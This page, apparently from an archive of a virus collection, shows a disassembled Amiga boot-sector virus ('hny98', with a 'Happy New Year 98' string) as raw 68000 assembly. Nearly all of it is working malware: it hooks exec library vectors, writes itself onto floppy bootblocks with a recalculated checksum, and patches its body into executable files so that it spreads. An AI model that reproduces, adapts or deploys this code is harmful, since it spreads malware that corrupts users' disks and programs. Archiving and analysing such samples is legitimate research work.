home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
h
/
hny98
/
BOOT.asm
next >
Wrap
Assembly Source File
|
2022-12-23
|
11KB
|
390 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $203C
EXT_0002 EQU $237C
CIAB_PRB EQU $BFD100
CIAA_PRA EQU $BFE001
EXT_0005 EQU $F80808
EXT_0006 EQU $F97FBC
EXT_0007 EQU $FCF816
SECTION S_0,CODE
SECSTRT_0:
DC.W $444F ;000
SUBQ.B #1,D1 ;002: 5301
DC.W $797B ;004
DC.W $6F3B ;006
DC.W $0000 ;008
DC.W $0370 ;00A
LEA LAB_0003(PC),A1 ;00C: 43FA003E
MOVEQ #37,D0 ;010: 7025
BSR LAB_000F ;012: 610000E6
TST.L D0 ;016: 4A80
BEQ.S LAB_0000 ;018: 670C
MOVEA.L D0,A1 ;01A: 2240
BSET #6,34(A1) ;01C: 08E900060022
JSR -414(A6) ;022: 4EAEFE62
LAB_0000:
LEA LAB_0002(PC),A1 ;026: 43FA0018
JSR -96(A6) ;02A: 4EAEFFA0
TST.L D0 ;02E: 4A80
BEQ.S LAB_0001 ;030: 670A
MOVEA.L D0,A0 ;032: 2040
MOVEA.L 22(A0),A0 ;034: 20680016
MOVEQ #0,D0 ;038: 7000
RTS ;03A: 4E75
LAB_0001:
MOVEQ #-1,D0 ;03C: 70FF
RTS ;03E: 4E75
LAB_0002:
DC.W $646F ;040
DC.W $732E ;042
DC.W $6C69 ;044
BHI.S LAB_0008 ;046: 6272
BSR.S LAB_0008+2 ;048: 6172
DC.W $7900 ;04A
LAB_0003:
BCS.S LAB_000A ;04C: 6578
MOVEQ #97,D0 ;04E: 7061
DC.W $6E73 ;050
DC.W $696F ;052
BGT.S LAB_0007 ;054: 6E2E
DC.W $6C69 ;056
BHI.S LAB_000B ;058: 6272
BSR.S LAB_000B+2 ;05A: 6172
DC.W $7900 ;05C
ORI.B #$00,D0 ;05E: 00000000
LAB_0004:
MOVEM.L D0-D7/A0-A6,-(A7) ;062: 48E7FFFE
BSR.S LAB_0008 ;066: 6152
TST.L D0 ;068: 4A80
BEQ.S LAB_0005 ;06A: 670E
JMP 14(A0) ;06C: 4EE8000E
LEA LAB_0004(PC),A5 ;070: 4BFAFFF0
MOVE #$48E7,(A5) ;074: 3ABC48E7
BSR.S LAB_0006 ;078: 6106
LAB_0005:
MOVEM.L (A7)+,D0-D7/A0-A6 ;07A: 4CDF7FFF
RTS ;07E: 4E75
LAB_0006:
LEA 882(A5),A1 ;080: 43ED0372
LAB_0007:
MOVE.L #$646F732E,(A1) ;084: 22BC646F732E
MOVEQ #37,D0 ;08A: 7025
JSR -552(A6) ;08C: 4EAEFDD8
TST.L D0 ;090: 4A80
BEQ.S LAB_0005 ;092: 67E6
MOVE.L D0,864(A5) ;094: 2B400360
MOVEA.L 864(A5),A1 ;098: 226D0360
LEA -454(A6),A0 ;09C: 41EEFE3A
LEA -148(A1),A1 ;0A0: 43E9FF6C
MOVE.L (A0),292(A5) ;0A4: 2B500124
MOVE.L (A1),512(A5) ;0A8: 2B510200
LEA 264(A5),A2 ;0AC: 45ED0108
MOVE.L A2,(A0) ;0B0: 208A
LEA 482(A5),A2 ;0B2: 45ED01E2
MOVE.L A2,(A1) ;0B6: 228A
RTS ;0B8: 4E75
LAB_0008:
LEA LAB_0004(PC),A5 ;0BA: 4BFAFFA6
MOVE #$4E75,(A5) ;0BE: 3ABC4E75
MOVEA.L (ABSEXECBASE).W,A6 ;0C2: 2C780004
LAB_000A:
MOVEQ #0,D0 ;0C6: 7000
MOVEA.L -454(A6),A0 ;0C8: 206EFE3A
LAB_000B:
CMPI #$0CA9,(A0) ;0CC: 0C500CA9
BEQ.S LAB_000E ;0D0: 6726
MOVEQ #0,D1 ;0D2: 7200
MOVE.L #$00000C00,D0 ;0D4: 203C00000C00
JSR -198(A6) ;0DA: 4EAEFF3A
TST.L D0 ;0DE: 4A80
BEQ.S LAB_000E ;0E0: 6716
MOVE.L D0,D1 ;0E2: 2200
MOVE.L D1,868(A5) ;0E4: 2B410364
MOVEA.L D1,A4 ;0E8: 2841
MOVEA.L A4,A0 ;0EA: 204C
MOVE.L #$00000398,D1 ;0EC: 223C00000398
LAB_000D:
MOVE.B (A5)+,(A4)+ ;0F2: 18DD
SUBQ.L #1,D1 ;0F4: 5381
BNE.S LAB_000D ;0F6: 66FA
LAB_000E:
RTS ;0F8: 4E75
LAB_000F:
MOVEM.L D0-D7/A0-A6,-(A7) ;0FA: 48E7FFFE
BSR.S LAB_0008 ;0FE: 61BA
JMP 162(A0) ;100: 4EE800A2
LEA LAB_0004(PC),A5 ;104: 4BFAFF5C
MOVEA.L (ABSEXECBASE).W,A6 ;108: 2C780004
LEA LAB_0027(PC),A1 ;10C: 43FA02C0
MOVE.L #$696F6E2E,6(A1) ;110: 237C696F6E2E0006
MOVE #$48E7,-876(A1) ;118: 337C48E7FC94
MOVEQ #37,D0 ;11E: 7025
JSR -552(A6) ;120: 4EAEFDD8
TST.L D0 ;124: 4A80
BEQ.S LAB_0010 ;126: 6714
MOVE.L D0,860(A5) ;128: 2B40035C
MOVEA.L D0,A1 ;12C: 2240
LEA LAB_0011(PC),A0 ;12E: 41FA0016
LEA -604(A1),A1 ;132: 43E9FDA4
MOVE.L (A1),32(A0) ;136: 21510020
MOVE.L A0,(A1) ;13A: 2288
LAB_0010:
MOVEM.L (A7)+,D0-D7/A0-A6 ;13C: 4CDF7FFF
JSR -552(A6) ;140: 4EAEFDD8
RTS ;144: 4E75
LAB_0011:
MOVEM.L A0-A2/A5-A6,-(A7) ;146: 48E700E6
LEA LAB_0004(PC),A5 ;14A: 4BFAFF16
MOVEA.L (ABSEXECBASE).W,A6 ;14E: 2C780004
BSR LAB_0006 ;152: 6100FF2C
MOVEA.L 860(A5),A0 ;156: 206D035C
MOVE.L 260(A5),-604(A0) ;15A: 216D0104FDA4
MOVEM.L (A7)+,A0-A2/A5-A6 ;160: 4CDF6700
JMP EXT_0007 ;164: 4EF900FCF816
CMPI.L #$00000200,36(A1) ;16A: 0CA9000002000024
BNE.S LAB_0012 ;172: 6610
CMPI #$0002,28(A1) ;174: 0C690002001C
BNE.S LAB_0012 ;17A: 6608
TST.L 44(A1) ;17C: 4AA9002C
BNE.S LAB_0012 ;180: 6602
BRA.S LAB_0013 ;182: 6006
LAB_0012:
JMP EXT_0005 ;184: 4EF900F80808
LAB_0013:
BSR.S LAB_0012 ;18A: 61F8
MOVEM.L D0-D7/A0-A6,-(A7) ;18C: 48E7FFFE
MOVEA.L 24(A1),A0 ;190: 20690018
MOVE.B 65(A0),CIAB_PRB ;194: 13E8004100BFD100
BTST #3,CIAA_PRA ;19C: 0839000300BFE001
BEQ LAB_0015 ;1A4: 6700003A
DC.W $4BFA ;1A8
ANDI.L #$234D0028,(EXT_0002).W ;1AA: 02B8234D0028237C
DC.W $0000 ;1B2
SUBI.B #$24,D0 ;1B4: 04000024
MOVE #$0002,28(A1) ;1B8: 337C0002001C
BSR.S LAB_0012 ;1BE: 61C4
CMPI.L #$E33D0E73,4(A5) ;1C0: 0CADE33D0E730004
BEQ.S LAB_0014 ;1C8: 670A
CMPI.L #$E33D0E72,4(A5) ;1CA: 0CADE33D0E720004
BNE.S LAB_0015 ;1D2: 660C
LAB_0014:
CMPI.L #$43FA003E,12(A5) ;1D4: 0CAD43FA003E000C
BNE.S LAB_0015 ;1DC: 6602
BSR.S LAB_0016 ;1DE: 6106
LAB_0015:
MOVEM.L (A7)+,D0-D7/A0-A6 ;1E0: 4CDF7FFF
RTS ;1E4: 4E75
LAB_0016:
LEA LAB_0004(PC),A4 ;1E6: 49FAFE7A
ADDQ #1,918(A4) ;1EA: 526C0396
MOVE.L #$610000E6,18(A5) ;1EE: 2B7C610000E60012
MOVE.L #$00000398,D0 ;1F6: 203C00000398
MOVE.L A5,D1 ;1FC: 220D
ADDA.L #$00000062,A5 ;1FE: DBFC00000062
LAB_0017:
MOVE.B (A4)+,(A5)+ ;204: 1ADC
SUBQ.L #1,D0 ;206: 5380
BNE.S LAB_0017 ;208: 66FA
MOVEA.L D1,A2 ;20A: 2441
MOVEA.L A2,A3 ;20C: 264A
ADDQ.L #4,A3 ;20E: 588B
MOVE.L D0,(A3) ;210: 2680
MOVE #$00FF,D1 ;212: 323C00FF
MOVEQ #0,D0 ;216: 7000
LAB_0018:
ADD.L (A2)+,D0 ;218: D09A
BCC.S LAB_0019 ;21A: 6402
ADDQ.L #1,D0 ;21C: 5280
LAB_0019:
DBF D1,LAB_0018 ;21E: 51C9FFF8
NOT.L D0 ;222: 4680
MOVE.L D0,(A3) ;224: 2680
SUBQ.L #4,A3 ;226: 598B
MOVE #$0003,28(A1) ;228: 337C0003001C
MOVE.L #$00000400,36(A1) ;22E: 237C000004000024
MOVE.L A3,40(A1) ;236: 234B0028
CLR.L 44(A1) ;23A: 42A9002C
BSR LAB_0012 ;23E: 6100FF44
RTS ;242: 4E75
MOVE.L A1,-(A7) ;244: 2F09
LEA LAB_0026(PC),A1 ;246: 43FA0182
MOVE.L D1,(A1) ;24A: 2281
MOVEA.L (A7)+,A1 ;24C: 225F
BSR.S LAB_001B ;24E: 6110
TST.L D0 ;250: 4A80
BEQ.S LAB_001A ;252: 670A
MOVEM.L D0-D7/A0-A6,-(A7) ;254: 48E7FFFE
BSR.S LAB_001C ;258: 610C
MOVEM.L (A7)+,D0-D7/A0-A6 ;25A: 4CDF7FFF
LAB_001A:
RTS ;25E: 4E75
LAB_001B:
JMP EXT_0006 ;260: 4EF900F97FBC
LAB_001C:
MOVEA.L LAB_0026(PC),A4 ;266: 287A0162
MOVEA.L LAB_0025(PC),A6 ;26A: 2C7A0156
MOVE.L A4,D1 ;26E: 220C
MOVEQ #-2,D2 ;270: 74FE
JSR -84(A6) ;272: 4EAEFFAC
MOVE.L D0,D7 ;276: 2E00
BEQ.S LAB_001A ;278: 67E4
DC.W $4BFA ;27A
BSET D2,-(A6) ;27C: 05E6
MOVE.L D7,D1 ;27E: 2207
MOVE.L A5,D2 ;280: 240D
JSR -102(A6) ;282: 4EAEFF9A
MOVE.L D7,D1 ;286: 2207
MOVEA.L A5,A3 ;288: 264D
ADDA.L #$00000200,A3 ;28A: D7FC00000200
MOVE.L A3,D2 ;290: 240B
JSR -114(A6) ;292: 4EAEFF8E
MOVE.L D7,D1 ;296: 2207
JSR -90(A6) ;298: 4EAEFFA6
CMPI #$0052,10(A3) ;29C: 0C6B0052000A
BNE.S LAB_001A ;2A2: 66BA
MOVE.L 12(A3),D0 ;2A4: 202B000C
MOVE.L 16(A3),D1 ;2A8: 222B0010
MOVEQ #4,D2 ;2AC: 7404
SUB.L D1,D0 ;2AE: 9081
CMP.L D2,D0 ;2B0: B082
BLT.S LAB_001A ;2B2: 6DAA
MOVE.L 124(A5),D5 ;2B4: 2A2D007C
CMP.L #$00000AF0,D5 ;2B8: BABC00000AF0
BLT.S LAB_001A ;2BE: 6D9E
CMP.L #$000927C0,D5 ;2C0: BABC000927C0
BGT LAB_001A ;2C6: 6E00FF96
MOVE.L D5,D0 ;2CA: 2005
MOVEQ #0,D1 ;2CC: 7200
MOVEA.L (ABSEXECBASE).W,A6 ;2CE: 2C780004
JSR -684(A6) ;2D2: 4EAEFD54
MOVE.L D0,D7 ;2D6: 2E00
BEQ LAB_001A ;2D8: 6700FF84
MOVEA.L LAB_0025(PC),A6 ;2DC: 2C7A00E4
MOVE.L #$000003ED,D2 ;2E0: 243C000003ED
BSR LAB_0023 ;2E6: 610000C4
BEQ LAB_001A ;2EA: 6700FF72
MOVE.L D6,D1 ;2EE: 2206
MOVE.L D7,D2 ;2F0: 2407
MOVE.L D5,D3 ;2F2: 2605
JSR -42(A6) ;2F4: 4EAEFFD6
BSR LAB_0024 ;2F8: 610000BC
MOVEA.L D7,A3 ;2FC: 2647
MOVE.L #$000000E6,D4 ;2FE: 283C000000E6
LEA 20(A3),A0 ;304: 41EB0014
MOVE.L (A0),D0 ;308: 2010
ADD.L D4,(A0) ;30A: D990
LAB_001D:
MOVE.L (A0)+,D1 ;30C: 2218
ANDI.L #$00FFFFFF,D1 ;30E: 028100FFFFFF
CMP.L #$000003E9,D1 ;314: B2BC000003E9
BNE.S LAB_001D ;31A: 66F0
ANDI.L #$00FFFFFF,D0 ;31C: 028000FFFFFF
CMP.L (A0),D0 ;322: B090
BNE.S LAB_0022 ;324: 667A
MOVE.L (A0),D1 ;326: 2210
ADD.L D4,(A0)+ ;328: D998
LSL.L #2,D1 ;32A: E589
ADDA.L D1,A0 ;32C: D1C1
MOVE.L A0,D4 ;32E: 2808
MOVE.L A0,D1 ;330: 2208
CMPI #$3938,-8(A0) ;332: 0C683938FFF8
BEQ.S LAB_0022 ;338: 6766
CMPI #$4E75,-(A0) ;33A: 0C604E75
BNE.S LAB_001E ;33E: 6606
MOVE #$4E71,(A0) ;340: 30BC4E71
BRA.S LAB_0021 ;344: 601A
LAB_001E:
MOVEQ #63,D0 ;346: 703F
LAB_001F:
CMPI #$4E75,-(A0) ;348: 0C604E75
BEQ.S LAB_0020 ;34C: 6706
SUBQ.L #1,D0 ;34E: 5380
BNE.S LAB_001F ;350: 66F6
BRA.S LAB_0022 ;352: 604C
LAB_0020:
MOVE #$6000,(A0) ;354: 30BC6000
SUB.L A0,D1 ;358: 9288
SUBI #$0002,D1 ;35A: 04410002
ADD D1,(A0) ;35E: D350
LAB_0021:
MOVE.L #$000003EE,D2 ;360: 243C000003EE
BSR.S LAB_0023 ;366: 6144
BEQ.S LAB_0022 ;368: 6736
MOVE.L D6,D1 ;36A: 2206
MOVE.L D7,D2 ;36C: 2407
MOVE.L D4,D3 ;36E: 2604
SUB.L D7,D3 ;370: 9687
JSR -48(A6) ;372: 4EAEFFD0
LEA LAB_0028(PC),A0 ;376: 41FA0080
ADDQ #1,(A0) ;37A: 5250
MOVE.L D6,D1 ;37C: 2206
LEA LAB_0004(PC),A0 ;37E: 41FAFCE2
MOVE.L A0,D2 ;382: 2408
MOVE.L #$00000398,D3 ;384: 263C00000398
JSR -48(A6) ;38A: 4EAEFFD0
MOVE.L D6,D1 ;38E: 2206
MOVE.L D4,D2 ;390: 2404
ADD.L D7,D5 ;392: DA87
SUB.L D4,D5 ;394: 9A84
MOVE.L D5,D3 ;396: 2605
JSR -48(A6) ;398: 4EAEFFD0
BSR LAB_0024 ;39C: 61000018
LAB_0022:
MOVEA.L D7,A1 ;3A0: 2247
MOVEA.L (ABSEXECBASE).W,A6 ;3A2: 2C780004
JSR -690(A6) ;3A6: 4EAEFD4E
RTS ;3AA: 4E75
LAB_0023:
MOVE.L A4,D1 ;3AC: 220C
JSR -30(A6) ;3AE: 4EAEFFE2
MOVE.L D0,D6 ;3B2: 2C00
RTS ;3B4: 4E75
LAB_0024:
MOVE.L D6,D1 ;3B6: 2206
JSR -36(A6) ;3B8: 4EAEFFDC
RTS ;3BC: 4E75
BSET D6,D0 ;3BE: 0DC0
LSR.B #1,D4 ;3C0: E20C
LAB_0025:
DC.W $0020 ;3C2
DC.W $F240 ;3C4
DC.W $0021 ;3C6
DC.W $ACA8 ;3C8
LAB_0026:
DC.W $0022 ;3CA
NEG -(A4) ;3CC: 4464
LAB_0027:
DC.W $696E ;3CE
MOVEQ #117,D2 ;3D0: 7475
DC.W $6974 ;3D2
DC.W $646F ;3D4
DC.W $732E ;3D6
DC.W $6C69 ;3D8
DC.W $6272 ;3DA
DC.W $6172 ;3DC
DC.W $7900 ;3DE
DC.W $3C3E ;3E0
MOVEA.L A0,A0 ;3E2: 2048
DC.W $6170 ;3E4
MOVEQ #121,D0 ;3E6: 7079
MOVEA.L A6,A0 ;3E8: 204E
DC.W $6577 ;3EA
MOVEA.L (A1)+,A0 ;3EC: 2059
DC.W $6561 ;3EE
MOVEQ #32,D1 ;3F0: 7220
MOVE (EXT_0001).W,-(A4) ;3F2: 3938203C
MOVE D0,D7 ;3F6: 3E00
LAB_0028:
DC.W $000A ;3F8
ORI.B #$00,D0 ;3FA: 00000000
DC.W $0000 ;3FE
END